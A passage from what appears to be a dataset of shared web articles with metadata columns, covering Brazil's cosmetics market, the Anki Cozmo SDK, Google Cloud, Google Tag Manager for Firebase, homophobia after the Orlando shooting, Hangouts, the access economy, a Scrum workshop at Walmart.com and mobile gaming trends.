país enfrenta atualmente. Nós somos o 3º país em consumo de higiene pessoal, perfumaria e cosméticos no mundo, ficando atrás apenas dos EUA e da China. Veja abaixo duas reportagens da Globo mostrando como anda o mercado de cosméticos no Brasil! Agora nem tudo é um mar de rosas. Com o crescente aumento deste nicho de mercado, aumenta também a concorrência, tornando a disputa muito acirrada. Os clientes estão dispostos a gastar, mas em contrapartida estão cada vez mais exigentes. Já diziam os Nonatos: ""É fundamental saber além do fundamental"" . O crescimento da indústria de cosméticos se deve principalmente a inovação. Se você tem interesse em entrar nesse mercado, seja criativo, surpreenda, inove. Se você quer trabalhar apenas com o básico, com certeza perderá terreno para a concorrência. Há hoje em dia uma tendência cada vez maior na personalização dos produtos, que atendam as especificidades de cada tipo de cabelo, pele, idade e sexo e existem até lojas específicas para melhor atender as necessidades dos diferentes públicos. Veja aqui a linha completa de produtos que a Hinode oferece a você E como havíamos falado no início do artigo, o mercado de cosméticos no Brasil , assim como o de higiene e beleza, não atrai só mulheres. Estima-se que uma parcela entre 25% a 30% desse nicho, seja formado por homens e que esta parcela pode ser até maior, pois muitos deles por puro preconceito não assumem que usam cosméticos. ÍNDICE BATOM Você já ouviu falar do ""Índice Batom""? O termo foi cunhado pelo presidente da Estée Lauder , tradicional marca de cosméticos norte-americana, Leonard Lauder . É um indicador que se baseia em estatísticas de que as vendas de cosméticos sobem proporcionalmente com a queda do poder de compra dos consumidores . Com a queda das torres gêmeas o Estados Unidos enfrentou grandes problemas de ordem econômica, mas em contrapartida, a indústria de cosméticos cresceu de forma surpreendente. E porque aqui no Brasil seria diferente? Pois é, segundo a ABIHPEC (Associação Brasileira da Indústria de Higiene Pessoal e Perfumaria), no ano de 2010 o setor faturou R$ 29,9 bilhões , quando a economia do Brasil cresceu 7,5% . Já em 2014 o setor atingiu a marca de R$ 42,6 bilhões enquanto a economia cresceu apenas 0,15% ou seja: o crescimento da indústria de cosméticos é inversamente proporcional ao crescimento da economia no país. Em 2016 espera-se um crescimento ainda menor ou até mesmo déficit na economia , o oposto do que se espera da indústria de cosméticos , que conforme foi dito acima, deve alcançar um bom crescimento! Agora você deve estar se perguntando, por que isso acontece? Bem a explicação é a seguinte: são em momentos de crise financeira que os produtos mais baratos chamam a atenção e atraem a preferência tanto dos homens quanto das mulheres, que dão preferência a aquisição de produtos como batons e outros cosméticos no lugar de bolsas, vestidos e sapatos. Não só por serem mais baratos, mas também por levantarem a auto estima, que é essencial para buscar novos postos de trabalho. Sem esquecer também que muitas delas começam até mesmo a comercializar estes produtos como uma alternativa ao desemprego. Veja aqui as 4 opções de Franquias de baixo investimento que a Hinode oferece para você iniciar seu negócio próprio O mercado de cosméticos deixou a muito tempo de ser considerado um nicho de luxo dentro da economia e passou a ser para muitas pessoas algo extremamente necessário. Muitas empresas dão preferência a contratar pessoas que se preocupem com a boa aparência e todo mundo sabe que a auto estima é fundamental para enfrentar os desafios da vida. Além disso por movimentar milhões e ser um mercado que cresce a passos largos em comparação a outros ramos de atividade, muitas portas são literalmente ""escancaradas"" para as oportunidades. Muitas pessoas estão, através do mercado de cosméticos no Brasil, descobrindo-se verdadeiras empreendedoras , mudando radicalmente seu estilo de vida e por sua vez ajudando a aquecer a economia do país como um todo. Conheça aqui o Plano de Revenda da Hinode. Baixo investimento e Lucro de 100%! RESUMINDO: Não existe crise para o mercado de Cosméticos no Brasil O setor cresceu em média 113% nos últimos 5 anos Os Homens estão cada vez mais adeptos aos cosméticos e cuidadosos com a beleza Ótima oportunidade de iniciar seu negócio próprio com baixo investimento ( saiba mais aqui ) Viu só como para o Mercado de Cosméticos no Brasil não tem crise? Mostre isso a mais pessoas! Curta! Você também vai gostar de ler estes posts:",pt
1468370386,CONTENT SHARED,5271898714958115766,-1032019229384696495,-7293767101067256668,,,,HTML,http://gizmodo.com/this-tiny-robot-lets-you-play-god-with-huge-ai-1783463899,This Tiny Robot Lets You Play God With Huge AI,"We were all quite pumped a few weeks ago when Anki announced its plan to move beyond smartphone controlled cars into emotionally intelligent robots . At the time of the announcement Anki indicated that it would release an SDK with the inclusion of Cozmo, but until now details on what that SDK would be were sparse. Now we know, and the SDK is so jam-packed with goodies it could turn Cozmo into the Commodore 64 of robotics-a device that changes how people interact with abstruse technology. The Commodore 64 changed the way we thought about computers. Before that ugly box got plugged into TVs across the United States computers were still for the very rich, the very smart, and the ladies programming the IBM beasts that took up entire floors of buildings. The Commodore 64 gave the average consumer the chance to compute and the slew of easy to understand programming languages, including BASIC and Logo, allowed anyone with an idea and a little time, to become a software developer. We would not have experience the computer revolution of the 80s if there had been no Commodore 64, and in 20 years a similar grand statement could be made for the Anki Cozmo. Anki wants to put one in the hands of every budding roboticist and give them access to tools that would otherwise require an entire university of people working full time to develop. ""We want to take robotics out of the lab,"" Anki co-founder and president Hanns Tappeiner said. We want to take robotics out of the lab. Tappeiner and his cohorts at Anki built an incredibly entertaining little robot that reads your facial expressions, has enviable spatial awareness, and can experience its own series of emotions thanks to an intricately programmed AI featuring over one million lines of code. The software development kit that will launch with Cozmo gives you access to all that code in a language (Python) that's a breeze for programmers, and only mildly terrifying for the rest of us. Tappeiner's wife, a programmer with no background in robotics, had access to the SDK for an hour and immediately linked it up the her Hue lights. As soon as Cozmo saw more than two people sit down on the couch it dimmed the lights for prime movie watching. Cozmo, and a visualization of what Cozmo sees via the SDK. Tappeiner ran me through some of the other options available in the SDK earlier today. There was the simple robotics equivalent of "" Hello World "" (the most basic program available in most programming languages) which just allowed him to turn a light on and off on Cozmo's back. Then he popped in a single line of code that adjusted the light depending on the number of human faces Cozmo saw. That sounds incredibly simple. That looks incredibly simple. But the ability to have access to facial recognition in a robotics kit? That is not simple. That takes years of work by a group of dedicated researchers. The same could be said of the line of code that planned Cozmo's path depending on the number of bricks he saw. It appears simple, but the science behind path planning for a robot is a field of robotics in and of itself (it's also co-founder Boris Sofman's specialty). Accessing the SDK via the Cozmo app on an iPad Mini. The SDK not only takes advantage of all that code smooshed into Cozmo's brain, but it lets you turn individual pieces off and on. If you don't like how Cozmo perceives only five human emotions you can take advantage of its ability to recognize 40 points on a face and distinguish between humans and other animals and create your own emotion recognition protocol. If you are okay with how it recognizes faces, but yearn for better path programming, than you can enjoy that one feature while delving into the other. The SDK will be released in Python, but Tappeiner assured me that a second SDK release would include software for children to easily work in the SDK. Thankfully development will require zero installation of software on your computer. Everything is done via the Cozmo app on Android or iOS. So there's no fuzting with XCode or building APKs for Android. Just open up your Cozmo and get to programming. Sort of like you did with that Commodore back in 1982.",en
1468370602,CONTENT SHARED,8559816910657872807,-1032019229384696495,-7293767101067256668,,,,HTML,http://www.businessinsider.com/google-cloud-boss-on-aws-and-microsoft-2016-7,Google cloud boss Diane Greene: We're winning against AWS and Microsoft,"Fortune/screenshot Google's head of cloud computing says that when companies do invite Google into the bidding process for cloud computing contacts, Google almost always wins. ""We can actually win an RFP pretty much every time against AWS or Azure. Our growth is great,"" Greene told attendees of the Fortune Brainstorm Tech show in Aspen, Colorado on Monday. ""We have the best infrastructure, our own network backbone, our own fiber, a very cost-effective data centers, very automated."" And that means Google can offer low prices on those request for proposals (RFP). Greene also said that internally, the culture at Google didn't have to change that much to serve enterprises, which was even a surprise to her. While she's spent her first seven months creating the kind of classic internal organizations that enterprises need (sales, support, a CTO office to help Google do more custom projects), the underlying culture was already a fit, she says. ""I wouldn't have given Google a good rating when I started,"" she says of her misconception. ""But every Google engineer wants to make users happy, they really do. They were focused on making internal users happy. Now they can make the whole world happy. We don't have to shift the culture."" For instance, she says Google engineers work the weekends to give the customers more capacity, and people go to the bat if a customer has a problem. ""You can't believe the dedication."" All of this, she thinks, is the winning combination to take on her two bigger, more established rivals, Amazon and Microsoft. Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.",en
1468376407,CONTENT SHARED,4375556914674736641,-1836083230511905974,3650195981289591968,,,,HTML,http://codigo-google.blogspot.com.br/2016/07/firebase-tag-manager-360.html?m=1&_utm_source=1-2-2,Código Google: Introdução da próxima geração do Google Tag Manager e do Tag Manager 360 para Mobile Apps,"O Google Tag Manager é conhecido por facilitar a implementação e o gerenciamento de analítica, remarketing, acompanhamento de conversão e outros tipos de tags de sites e aplicativos. E com a introdução do Firebase - a nova plataforma da Google para desenvolvedores para dispositivos móveis Android e iOS -, usar o Tag Manager ou o Tag Manager 360 para configurar a medição interna no aplicativo nunca foi tão fácil nem tão poderoso! No Google I/O , anunciamos que estamos expandindo o Firebase para torná-lo uma plataforma unificada para desenvolvedores para dispositivos móveis projetada para facilitar mais do que nunca a criação de aplicativos usando produtos e serviços da Google - e o Google Tag Manager é um destes serviços! A versão mais recente do Tag Manager e do Tag Manager 360 para aplicativos móveis foi projetada para funcionar com o Firebase e estender seus recursos para desenvolvedores e profissionais de marketing. Instrumentação interna do aplicativo unificada No coração do Firebase está o Firebase Analytics - um produto de analítica ilimitado e gratuito projetado especificamente para aplicativos móveis. Mas o Firebase Analytics é mais do que um produto de analítica, é uma forma unificada para os desenvolvedores medirem tudo o que estiver acontecendo em um aplicativo, desde os principais direcionadores da empresa até a interação detalhada do usuário. Isto cria uma fonte única confiável para atividades internas do aplicativo, que você pode compartilhar com outros recursos do Firebase e produtos da Google. Para o Tag Manager, isto torna o Firebase Analytics a nova camada de dados, o que significa que qualquer um que use o Firebase Analytics está pronto para começar a usar o Tag Manager sem precisar reprogramar. Para começar com o Google Tag Manager e o Tag Manager 360, basta se inscrever no Firebase, acessar o Tag Manager para configurar um novo contêiner do Firebase e, depois, adicionar o Firebase Analytics e o Google Tag Manager ao seu aplicativo. Tudo que você estiver medindo com o Firebase Analytics estará pronto para usar em tags, gatilhos e variáveis no Tag Manager. Medição dinâmica de aplicativos O Firebase Analytics facilita a medição do que está acontecendo no seu aplicativo. Mas o que acontece se você identificar errado um evento ou esquecer de adicionar um parâmetro fundamental? Ao adicionar o Tag Manager ou o Tag Manager 360 ao aplicativo, você pode fazer alterações na configuração de medição sem precisar perder tempo no processo de atualização do aplicativo. Como os profissionais de marketing experientes sabem, sem o gerenciamento de tags, mesmo as mudanças mais básicas em tags podem exigir muito tempo e esforço, além de coordenação entre as equipes de marketing e desenvolvimento e de retirar recursos de outros projetos. Com o Tag Manager e o Firebase, você poderá desacoplar as mudanças de medição dos ciclos de desenvolvimento - e, ao fazê-lo, simplificará o modo com que as equipes de marketing e desenvolvimento trabalham juntas. Um SDK, muitas opções Apesar de o Firebase visar facilitar ao máximo a criação de aplicativos e medir o comportamento do usuário, ele não se destina a ser uma solução para todos os problemas. Os desenvolvedores e profissionais de marketing muitas vezes escolhem usar soluções diversas de vários provedores nos aplicativos. O Google Tag Manager e o Tag Manager 360 podem ajudar a fazer com que estas ferramentas distintas façam sentido. Com o Firebase Analytics, fica fácil medir o que está acontecendo no aplicativo - sem limitar você a um único conjunto de ferramentas. O Google Tag Manager e o Tag Manager 360 permitem que você envie os dados para diversas outras ferramentas de analítica, tanto da Google - como o Google Analytics - quanto de outros parceiros. Estamos muito felizes em anunciar parcerias de fornecimento de tags com diversas das soluções de atribuição do aplicativo, incluindo Kochava , Tune , adjust , AppsFlyer , Apsalar e muito mais. O Google Tag Manager sempre foi respeitado por seu compromisso com ser agnóstico em relação aos provedores para medição web e está animado em estender o mesmo compromisso para os aplicativos móveis. E nossos parceiros também estão! ""Sempre fomos apaixonados por apoiar os desenvolvedores, garantindo que o Kochava sempre estivesse integrado às melhores ferramentas. Por isso estamos tão felizes em fornecer suporte pronto para uso para o Google Tag Manager pelo Firebase."" - Charles Manning, Presidente da Kochava Se você não está vendo o parceiro que procura, não se desespere. Estamos adicionando mais parceiros continuamente por meio do Programa de modelos de tag de provedores . Comece quando quiser Se já estiver usando o Google Tag Manager ou o Tag Manager 360 para aplicativos móveis, não se preocupe, seus contêineres existentes e os SDKs atuais continuarão trabalhando da mesma maneira de antes. Mas, como com qualquer versão importante de recurso, recomendamos atualizar para a versão mais recente do Google Tag Manager para aplicativos móveis - e com o Firebase junto - o mais cedo possível. Assim, você pode ter certeza de que extrairá o máximo da experiência de gerenciamento de tags móveis. Pronto para o Google Tag Manager? Saiba mais e comece hoje!",pt
1468408679,CONTENT SHARED,4061646345741687197,6735372008307093370,-2464388279861641102,,,,HTML,http://www.cartacapital.com.br/sociedade/o-homofobico-dentro-de-cada-um,O homofóbico dentro de cada um,"Grupo de jovens presta homenagem em memorial às vítimas do Pulse em Orlando O atirador que matou 49 pessoas e deixou mais de 50 feridas em uma boate gay em Orlando, nos Estados Unidos, tinha um homofóbico dentro de si. Assim como você, que lê esse texto, também tem sua dose de homofobia. E até eu mesmo, que sou gay e já enfrentei a minha. É compreensível, afinal nossa sociedade foi construída sob uma perspectiva patriarcal, heteronormativa. Incompreensível é não querer desconstruir esses valores e aceitar o mundo como ele é, diverso. O massacre em Orlando tem, sim, a ver com a cultura de armas nos Estados Unidos. Tem, sim, a ver com fundamentalismo religioso . Mas, sobretudo e fundamentalmente, tem a ver com a homofobia, com a transfobia e qualquer aversão à diversidade sexual . E a repercussão da tragédia só reforça essa ideia. Ninguém nasce homofóbico. A homofobia se aprende em casa, na escola, nas ruas, nas igrejas, nas mesquitas e nas sinagogas. É aquela obsessão dos pais de que rosa é de meninas e azul é de meninos. É a bronca dos professores se a criança brinca de carrinho ou de boneca. É o sermão do padre ou do pastor falando que viver a homossexualidade é viver no pecado. É o bullying que os LGBTs sofrem ou já sofreram algum dia, com piadas infelizes, agressão verbal e física. O primeiro desafio de qualquer um antes de sair do armário é enfrentar a própria condição homossexual, é perceber que não existe nada de errado consigo. Daí não é de se estranhar o alto nível de depressão e suicídio entre adolescentes LGBTs. Aí começa o processo de desconstrução da homofobia plantada em cada um de nós. Mas grande desafio é enfrentar a homofobia de cada dia, presente nas sutilezas de gestos e palavras, nas lampadadas na cabeça ou nos tiros que matam mais de 300 LGBTs por ano no Brasil , vitimizando sobretudo as transexuais. É urgente a desconstrução do ódio contra a diversidade. É preciso debater, sim, as questões de gênero nas escolas, em casa, nas igrejas. Não se trata de ensinar ninguém a ser LGBT, mas de respeitar a existência de cada um na sociedade. É preciso enfrentar o potencial homofóbico que todo mundo carrega dentro de si. A notícia de que o atirador de Orlando frequenta boates e aplicativos gays já foi o pretexto para que alguns apontassem a sexualidade do assassino como razão principal do ataque. Se é possível que a homofobia internalizada do rapaz o motivou a cometer o crime, é certo que a homofobia arraigada na sociedade chancelou sua atitude. Quantas vezes ele escutou seu líder religioso dizer que gays eram pecaminosos? Quantas vezes sofreu bullying no colégio? Quantas vezes apanhou dos pais? Quantas piadas homofóbicas escutou no trabalho? Por isso, é importante que a sociedade fale sobre homofobia . E a dificuldade de enfrentar o tema ficou visível na repercussão do atentado. Muitos jornalistas, ativistas e lideranças políticas falaram sobre a farta disponibilidade de armas nos Estados Unidos, ressaltaram a religião do atirador, mas resistiam em dizer de forma contundente que se tratava de um ataque sobretudo homofóbico. Na TV inglesa, o ativista Owen Jones deixou o estúdio da SkyNews depois que dois apresentadores insistiam em negar o caráter primordialmente homofóbico do atentado. O mesmo se pode dizer da nota do Itamaraty e do presidente interino Michel Temer, que sequer citaram que o ataque foi a um clube gay. O massacre tampouco gerou a comoção vista nos recentes atentados em Paris e, em muitos casos, rendeu na internet comentários incitando a morte de LGBTs. Em todos os casos, homofobia explica. À medida que os LGBTs vem conquistando direitos e vem aos poucos deixando a condição de cidadãos de segunda classe percebe-se uma reação virulenta de grupos conservadores e fundamentalistas religiosos. De repente, viramos o bode expiatório da sociedade, culpados de todas as mazelas. Somos destruidores de famílias, espalhamos doenças, somos pedófilos, desestruturamos os costumes e agora espalhamos a tal ""ideologia de gênero"", o último factoide da temporada. É fácil apontar responsáveis pelo discurso de ódio, como o deputado fascista Jair Bolsonaro. Difícil, mas necessário, é desconstruir a homofobia arraigada dentro de si. Aquela que não se traduz em comentários e ações discriminatórias no dia a dia, mas aquela que é suficiente para espalhar, ainda que sem perceber ou em doses homeopáticas, a cultura homofóbica na sociedade.",pt
1468411341,CONTENT SHARED,5398961846611539065,-1387464358334758758,4163526167897217276,,,,HTML,http://googlediscovery.com/2016/07/13/hangouts-para-android-ganha-opcao-de-mensagens-em-video/,Hangouts para Android ganha opção de mensagens em vídeo | Google Discovery,"Embora o Google tenha anunciado o Allo - o possível sucessor do Hangouts durante a última a última conferência para desenvolvedores do Google I/O 2016 - a gigante das buscas ainda mantém certo interesse no aplicativo de mensagens. A novidade, que será distribuída a partir da versão 11.0.0, traz a possibilidade de enviar mensagens em vídeos para os contatos do Hangouts com uma duração de até 1 minutos. No iOS, o recurso foi disponibilizado ao público no começo do ano e conta com suporte até 2 minutos. Junto com a opção de vídeo mensagem, a nova versão do Hangouts também oferece a capacidade para remover usuários de conversas em grupo, dando mais controle para os administradores. Imagem: 9to5Google é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1468412196,CONTENT SHARED,4313871021753084020,7645894863578715801,4037974542398744297,,,,HTML,http://projetodraft.com/startups-matam-e-suas-vitimas-sao-as-empresas-que-ainda-nao-entendem-o-que-e-a-economia-do-acesso/,Startups matam. E suas vítimas são as empresas que ainda não entendem o que é a Economia do Acesso,"Parece sensacionalista definir um título como esse. Mas realmente ""startups matam"". Esse é na verdade um capítulo do livro Economia do Acesso , que publiquei recentemente e estou em primeira mão, compartilhando aqui no Draft. Aliás, compartilhamento é um dos temas centrais do livro. Mas qual a tese defendida, para que exista um capítulo chamado ""Startups matam""? HOJE, RELACIONAMENTO É TUDO Relações as a service. Existe um movimento forte, para que o consumo caminhe cada vez mais rápido para relações transparentes. Chega de ""contratos leoninos"", chega de ""termos de serviço"" que não podemos ler. Novas gerações - como os m illenials , X, Y, Z e outras que virão - não aguentam e acham que não têm tempo para perder com negociações desnecessárias para comprar um produto ou para consumir um serviço. São ansiosos? Sim, muito. E isso é ótimo para empresas que nascem com esse mindset comercial. O ponto é que a maioria das grandes corporações, mais tradicionais, ainda têm uma cegueira para esse público, porque ele ainda não é comprador efetivo, apenas influenciador. Se analisarmos bem isso, dá para entender o porquê de empresas com poucos anos de vida valerem mais do que corporações centenárias. Elas são o futuro. A Brand Finance é uma instituição que elabora anualmente um relatório com as marcas mais valiosas do mundo. Não é difícil descobrir os nomes das 10 mais valiosas, ou até as 100 primeiras. Mas é impressionante ver o crescimento de algumas empresas que não atingiram uma década de vida ainda. VOCÊ SABIA QUE O FACEBOOK VALE MAIS QUE A NIKE? Isso mesmo. A rede social de Mark Zuckerberg, fundada em 2004, vale mais que a Nike, marca que completou 52 anos recentemente. Não é diferente se compararmos outras marcas centenárias com outras bem mais novas, como Google (de 1998), Amazon (fundada em 1994), LinkedIn (2002), Salesforce (1999) e Netflix (1997). Algumas delas ultrapassam inclusive a Microsoft (1975) que foi a grande precursora do software e do consumo acessível de serviços on-line . Todos os exemplos citados, integram a lista das 500 maiores do mundo. Não há nenhuma brasileira na lista das 100 maiores. Mas essa é a realidade que o parágrafo ilustra. A Netflix e a Salesforce são sintetizadoras máximas do acesso. Pessoas e empresas não querem mais adquirir, se puderem acessar. Pessoas não compram mais DVDs, empresas não compram mais softwares Essa é a premissa básica para que empresas com modelos de acesso (e com cobrança por assinatura) consigam quebrar um elo tradicional de se fazer comércio. Isso fez com que as relações comerciais entre empresas e consumidores mudassem radicalmente. Para o consumo atingir o nível que chegou, nos tempos de agora, milhares de indústrias ruíram, literalmente. Especialmente aquelas que não entenderam que o negócio mudou: me dê apenas o que eu preciso. Esse mantra é o contexto da palestra ""Startups Can Kill"" do Dave McClure, onde ele ilustra a mortalidade de segmentos tradicionais e empresas por conta da pressão da inovação imposta por startups. Foi bom te conhecer Kodak e BlockBuster. É O BENEFÍCIO QUE IMPORTA. NÃO A POSSE Uma pesquisa do Boston Consulting Group revelou que, em 2013, as pessoas gastaram 460 bilhões de dólares em viagens de aventura e 170 bilhões com produtos de luxo. Não estavam falando de uma geração específica e sim, de todas elas. O artigo Consumers Want Experiences, Not Things revela que a experiência que é o que importa. O benefício é que vale à pena. E que isso é uma realidade latente nas novas gerações. Afinal o que vale mais: uma bolsa Louis Vuitton ou uma viagem à Indonésia? Para a maioria das pessoas, uma viagem vale mais do que um artigo de luxo. Esse será de fato, um grande desafio para o mercado de luxo para os próximos anos. Já acontece inclusive com carros, roupas, hotéis e tecnologia. A economia do compartilhamento nos trouxe uma nova realidade. Essa é a razão e o motivo para que sindicatos em todos lugares do mundo tentem conter o avanço de Uber, Airbnb, WhatsApp entre outros. É difícil para algumas culturas (e monopólios) ver os milhões de dólares diários desaguarem em outros rios, bem à sua frente. Olhe o exemplo da francesa Helene , que disponibiliza um barco (adaptado para servir de casa) atracado bem aos pés frente à Torre Eiffel, para viajantes que usam o Airbnb. A diária para essa experiência custa 450 reais por dia. A da maioria dos hotéis 3 estrelas por lá gira em torno de 750 reais a diária. SOBRE TER MENOS COISAS O que vale mais? Visitar a França e se hospedar num barco em frente ao símbolo de Paris parece ser uma experiência sem igual. Isso ilustra a economia do compartilhamento: a Helene ganha um bom dinheiro e o viajante recebe um benefício enorme, algo que ele não conseguiria num hotel. Se eu posso alugar um smoking por 150 reais para uma festa que exige isso, porque vou comprar um por 1 500 e usá-lo uma única vez? Essa premissa é a mesma aplicada aos vestidos de noiva (caríssimos e só usados uma única vez), à hospedagem e aquisição de carros. Lisa Gansky, do Mesh , foi uma das primeiras pessoas a falar sobre a sharing economy (a economia compartilhada ), tem uma frase muito bacana que diz: ""Mais pessoas, menos espaço... menos coisas"". Essa expressão é brilhante para explicar como a tecnologia e o consumo estão convergindo e mudando nossa relação com o mundo. Não temos espaço na prática. Carros, por exemplo, me incomodam há três anos, tempo esse em que estou envolvido com uma empresa (a Vindi , da qual sou fundador), que me obrigou de forma positiva a entender a mudança do consumo da propriedade para acesso. Em São Paulo, carros foram feitos para duas coisas: trânsito e estacionamento. Estamos alimentando as indústrias da multa, a automobilística e dos estacionamentos, sem ter o benefício real, que é o do transporte. Tirando a questão de infraestrutura, que é outro assunto, estamos comprando carros para eles ficarem no trânsito e em garagens. Não faz sentido. HÁ UMA NOVA ECONOMIA, E ELA JÁ ESTÁ AQUI Quais são as características das empresas que valerão 100 bilhões de dólares daqui 10 anos? Esse é um dos assuntos preferidos para estudiosos de tecnologia. Em todas discussões, há um consenso: serão empresas de tecnologia. Mas há um erro básico nessa afirmação: Na verdade, todas as empresas do mundo serão empresas de tecnologia Essa é uma das minhas teses no livro e também uma das minhas principais análises quando me reúno com alguns dos empresários que me convidam para alguma reunião. Existe essa ""cegueira"" no empresariado brasileiro ainda. Indústrias, comércios e empresas de serviços precisaram ser essencialmente empresas de tecnologia. Se não forem, vão morrer. Multinacionais como Whirlpool, Mitsubishi e 3M perceberam isso há anos, e ainda vão dominar por muito tempo seus segmentos. Mas nem todas sobreviverão. A Gartner, uma das consultorias mais conceituadas para se falar de tecnologia, vem há alguns anos colocando como principal tendência a adoção do modelo de assinaturas por gigantes de diversos segmentos. É que a maiorias das pessoas não analisa isso de forma consistente, mas a previsão está se provando verdade. Tanto na economia da recorrência (a de assinaturas), como no compartilhamento também. Apple, Google, Microsoft, Samsung, Facebook, Netflix, Spotify, Airbnb, Uber, WhatsApp, Waze, e outros bons exemplos, estão tão presentes na vida das pessoas que elas não dão conta que isso é uma experiência nova. Até pouco tempo essas empresas eram startups saindo de garagens em todo lugar do mundo. A sensação, hoje, é que elas sempre estiveram aqui, certo? Desde a chegada dos smartphones, nossa vida parece passar por um aparelho celular e a culpa na maioria das vezes é dessas empresas, que foram capazes de entender como o ser humano precisa de acesso fácil às coisas. O Facebook, de Mark Zuckerberg, faz isso com primor: entende, influencia e vem caminhando a passos largos para dominar boa parte dos nosso tempo e das nossas decisões. Aliás, o Zuckerberg já é uma das pessoas mais influentes do mundo, queiram ou não. A empresa dele comprou o Instagram, WhatsApp e o Oculus Rift (de realidade virtual). A busca pela audiência sempre foi uma guerra grande pela mídia. Só que agora a mobilidade é quem determina o poder de uma empresa. Por isso o Facebook é um grande case. Sua próxima investida é atacar o Youtube. Note, neste vídeo , de um ano atrás, como Zuckerberg choca todos (uma plateia inteira chinesa) ao falar mandarim fluentemente. É isso: os novos líderes usam camisetas, calça jeans e falam mandarim . Transformei o tema ""Startups matam"" em um capítulo do meu livro porque isso é realmente algo em que acredito. Elas matam as empresas que não percebem que o mundo mudou. A motivação foi grande porque, além de ter na minha história recente um apanhado de exemplos de inovação nascendo, também vi com meus próprios olhos muitas empresas morrendo, quando era executivo em um grande banco. Essa ""eutanásia"" acontecerá - sim - com bancos, construtoras, empresas de petróleo e qualquer outra que tiver a cegueira de não enxergar cada nova empresa com drive de inovação no DNA. Há muito mais a discutir e refletir a respeito. Esse texto é, especialmente, um convite sincero para o Economia do Acesso.",pt
1468413328,CONTENT SHARED,5940374562401786524,4918484843075254252,4482638943263754028,,,,HTML,http://www.happymelly.com/visual-thinking-and-learning-3-0-working-together-at-walmart-com/,Visual Thinking and Learning 3.0 working together at Walmart.com | Happy Melly,"As usual, three Scrum Masters and I were drinking a coffee and talking about our daily grind at Walmart.com , when a common problem emerged during our dialogue: How to improve our grooming meetings? In my opinion the grooming meeting is the most important factor in a Sprint. Do it well and your team will know exactly what they have to do, with a low level of uncertainty. However, if the meeting isn't organized properly, it can cause misunderstanding and your Sprint can be flawed. As good Scrum Masters, we decided to continue the conversation in a different way. I proposed to try the Learning Canvas - a Learning 3.0 tool , together with a Visual Thinking Practice created by Pati Dobrowolski: The Big Picture Wall Map. I could talk about Product Grooming Meetings forever, but I'll try to describe just the mix of practices that we used, as this is the main purpose of this post. So, let's go! The Learning Canvas The Learning Canvas is an awesome tool created by Alexandre Magno that promotes learning using an emergent approach. Using a canvas, the asker exposes a specific problem and its symptoms to a team or a group of people who are interested in solving the problem. Afterwards, he explains what he expects as the outcome when the problem is solved. The group begins by sharing their experiences, what they have lived and what makes sense as a problem solution. Everybody is invited to think out of the box and to propose ideas that the asker could try. At this moment, anyone can propose anything despite of their experience. Finally, the asker decides the best solution based on what has been shared. The Canvas is just one part of a great concept for emergent learning. There's so much more to discover! So, after reading this post, please visit Learning 3.0 where you'll find incredible things! Have fun! The Big Picture Wall Map Anybody who knows me understands that for ten themes that I'm in, nine are about visual thinking! Since I was a kid, I have loved to draw! This subject really excites me and I'm always trying to use it in my daily grind. One day, searching my passion on Google, I found Pati Dobrowolski talking about a visual tool that helps us go from a problematic situation, to an ideal one; whilst establishing some bold steps to get there. The method is very simple and you can get there in just four steps: Divide a sheet of paper in a half with a line On the left side, draw the current reality that is bothering you On the right side, draw the desired new reality, how the things will be when you solve what is bothering you Draw three 'big arrows as bridges between the actual situation and the future situation, and write in each one a bold step that you think will help you to get from one side to the other. How we arrange things to get them ""dancing"" together In a reserved room, I put a Learning Canvas on the wall and distributed some sheets of paper for a group of Scrum Masters who came along to discuss our grooming meetings. Here's a step-by-step account of what we did: We divided a sheet of paper in a half with a line On the left side, we wrote ""Current Situation"" In 5 minutes each one drew the actual situation of their grooming meetings on the left side The SMs explained their drawings, and as the facilitator, I supported the discussion, sustaining questions and extracting the symptoms by writing them on post-its We all stopped in front of the Learning Canvas to verify if all symptoms written on the post-its made sense to the group On the right side, we wrote ""Desired new Situation"" In 5 minutes each one drew the desired situation of their grooming meetings on the right side The SMs explained their drawings and as a facilitator, I supported again the discussion, sustaining questions and extracting the expected results by writing them on post-its We all stopped in front of the Learning Canvas to verify if all expected results written on the post-its made sense to the group In 5 minutes, each participant was encouraged to share good and bad experiences about their grooming meetings. We wrote those experiences on some post-its and fixed them to the Learning Canvas After 5 minutes of sharing experiences, each participant was encouraged to share out-of-box ideas about Grooming Meetings. We wrote those ideas on post-its and fixed them on the Learning Canvas Each participant should write the ""Three Bold Steps"" to go from the actual situation to the desired situation (the bridges that I mentioned before)! To do that, they must consider experiences and ideas shared in the steps before Finally, we had a discussion around the bold steps, which each one elected to try, and fixed the drawings on the Learning Canvas Conclusions Visual Thinking helped us to be pragmatic in identifying symptoms and expected results. Sometimes we tend to be wordy when discussing these things, some of us like to talk, and don't pay attention to the others. To draw first is an exercise in thinking before speaking , and observing a drawing made by another person is a good exercise to perceive different point of views. The strict time boxes helped us to stay focused. Visual Thinking can help us to be pragmatic in identifying symptoms and expected results.... Click To Tweet We had no ""formal asker"", so the whole group took on the role. It's a cool idea when you're in situations where the ""Try"" part of Learning Canvas can't be a homogeneous sequence of steps, because there are a lot of different realities. Even if the problem discussed: how to improve our grooming meetings, is something that affects everyone. Each participant has a particular focus in his daily grind and the big picture wall map supported us to visualize that, and to accept more than one way to try. To mix practices is a cool and necessary thing. We have a lot of good ideas blooming around the world, so, why not to put them together to see if they positively affect team discussions? That's just a brief description about a Learning 3.0 Experience that was very helpful to us in Walmart.com. I hope it was useful to you! A special thanks to: Melissa Itimura, Ana Marysa, Rafael Buzon and Eduardo Tardin for the great help! Let me know your perceptions, thoughts and experiences, and we can go make a mojito of ideas! My twitter is @jreisstudio , fell free to get in touch.",en
1468416557,CONTENT SHARED,3972616933829295411,3609194402293569455,-9212055154240885024,,,,HTML,http://insights.fb.com/2016/07/11/global-mobile-gaming-trends/,Game On: 5 Global Mobile Gaming Trends,"Mobile devices have opened up the world of gaming to a new and diverse range of people. Whether it's crushing candy on the way to work or delving dungeons while hanging out with friends, gaming is no longer limited to a core group of people or the living room anymore. To find out more about the trends shaping game-play on mobile, Facebook IQ commissioned market research company TNS to survey people ages 18+ spanning 12 countries representing various different geographic regions: North America, Latin America, Europe, the Middle East and Asia (data are on average across the countries) on their use of mobile as a gaming device. Get ahead of the game with our trends below.",en
